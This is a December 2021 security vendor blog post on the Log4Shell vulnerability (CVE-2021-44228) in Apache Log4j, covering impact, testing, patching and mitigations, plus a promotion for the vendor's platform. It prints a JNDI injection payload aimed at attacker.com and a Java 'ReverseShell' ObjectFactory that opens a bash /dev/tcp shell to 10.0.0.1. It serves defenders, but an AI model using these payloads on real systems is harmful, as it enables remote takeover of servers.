top of page
This site was designed with the
.com
website builder. Create your website today.Start Now
Anchor 1
    • Dec 10, 2021

How to address the critical Log4Shell/LogJam vulnerability


Yordan Popov, Security Engineer




On the 9th of December 2021 a zero-day exploit, affecting the popular Аpache Log4j utility was made public CVE-2021-44228.


This vulnerability is actively being exploited and anyone using Log4j should take immediate actions to remediate this critical to security component.

In this article we will go over the vulnerability and it’s remediations.


TL;DR

  • CVE-2021-44228 impacts Apache Log4J Java library

  • Easy to exploit, high impact, achieves RCE (Remote code execution) with system-level permissions

  • Patch Log4J to version >=2.15.0


What is Log4j?


Java-based library used for logging in big percentage of the Java applications. According to Maven Central Repository Log4j is used in 16,601 open-source projects


Some of the confirmed vulnerable organisations / components are:

  1. Apple

  2. Minecraft

  3. Steam

  4. Twitter

  5. Elasticsearch

And many others.


For additional information on the confirmed vulnerable services.



Vulnerability


The following payload would exploit this vulnerability:

${jndi:ldap://attacker.com/a}

Using the JNDI interface, log4j will download a .class file and deserializes it in unsafe manner.


Utilizing the built-in feature of Java - static initializer (code in a static initializer block is executed by the virtual machine when the class is loaded.) a RCE can be achieved. Of course there are other ways to achieve code execution, that’s why patching is very important.


If the JVM property

com.sun.jndi.ldap.object.trustURLCodebase

is set to true, other possibility would be utilizing LDAP ObjectFactory.


LDAP ObjectFactory lets the LDAP response tell where to get the bytecode of another ObjectFactory.


public  class ReverseShell implements  ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, 
                                    Name name,
                                    Context nameCtx,
                                    Hashtable<?, ?> environment)  
       throws Exception {
        Runtime r = Runtime.getRuntime();
        p = r.exec(getShellPayload());
       
       p.waitFor();

       return  null;
   }
    public String getShellPayload(){
            return new StringBuilder()
            .append("/bin/bash -c \'")
            .append("exec 5<>/dev/tcp/10.0.0.1/4242;")
            .append("cat <&5 | ")
            .append("while read line; ")
            .append("do $line 2>&5 >&5; ")
            .append("done\'")
            .toString();
    }
}

According to LunaSec JDK version greater than 6u211, 7u201, 8u191, and 11.0.1 do not seem to be affected by the above LDAP attack, since

com.sun.jndi.ldap.object.trustURLCodebase

is set to false , however the other method is working.



Impact


Logging untrusted user input, can result in Remote Code Execution if a vulnerable version of Log4j is used. The impact is critical, since it’s relatively easy to exploit (just a single line which is logged!) and it achieves system-level privileges.


As a result CVE-2021-44228 is rated perfect 10/10 CVSS Score



How to test


There are multiple ways to detect if you are vulnerable.

${jndi:ldap://<TOKEN>/a}

something like:

${jndi:ldap://hq61hp3upawijfa7zqqdcdm60.canarytokens.com/a}

  • Place it everywhere where user input is provided and might be logged (search forms, profile data, HTTP Headers, … etc)

  • If an email is received that a DNS lookup is performed then you are vulnerable!


Remediation


Best way to mitigate that is by patching to a version >=2.15.0


However keep in mind that you will not be able to patch the vulnerability if a vulnerable version of Log4j is used in a dependency which you are importing, for this reason set

log4j2.formatMsgNoLookups

to true (Log4J >=2.10) and monitor the logs, also add YARA rules if possible.


Another mitigation is completely removing the JndiLookup class from the classpath, but that my affect the usability of the application.



CyberSec Risk Manager - CsRM


With our platform CsRM we were able to detect the Log4j vulnerability within less than 16h hours of it being publicly available, allowing our customers to take immediate actions to their affected services.


The CsRM platform monitors your vulnerabilities, risk & compliance in all Open Source Code Components, Infrastructure and Cloud, empowering you to take accurate and informed decisions for your business at any time.


For more information check out - CsRM




References




bottom of page